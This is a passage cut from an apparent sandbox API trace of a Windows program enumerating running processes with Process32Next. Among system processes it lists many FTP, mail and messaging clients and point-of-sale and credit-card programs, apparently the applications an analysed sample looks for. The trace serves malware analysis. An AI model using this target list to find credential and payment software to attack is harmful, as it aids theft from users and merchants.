szExeFile="svchost.exe")) returned 1 [0270.602] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0270.604] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0270.606] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0270.608] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.610] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0270.612] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0270.614] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0270.616] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0270.618] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0270.620] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0270.622] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0270.623] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.625] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0270.628] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0270.631] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0270.633] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.636] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0270.638] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0270.640] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0270.642] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0270.645] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0270.647] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0270.650] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0270.653] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0270.655] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0270.658] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0270.660] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0270.663] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0270.665] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0270.668] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0270.672] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0270.675] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0270.677] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0270.680] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0270.682] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0270.685] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0270.687] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0270.745] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0270.784] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0270.786] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0270.788] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0270.791] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0270.793] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0270.796] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0270.798] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0270.801] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0270.804] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0270.807] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0270.811] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0270.814] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0270.828] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0270.832] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0270.835] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0270.838] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0270.842] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0270.845] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0270.849] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0270.851] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0270.854] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0270.858] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0270.861] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0270.864] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0270.867] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0270.870] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0270.881] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0270.888] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0270.891] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0270.895] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0270.898] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0270.902] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0270.904] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0270.907] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0270.909] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0270.911] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0270.913] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0270.916] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0270.920] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0270.969] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0270.972] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0270.976] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0270.978] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0270.981] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0270.983] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0270.986] Process32Next (in: hSnapshot=0x21cc, 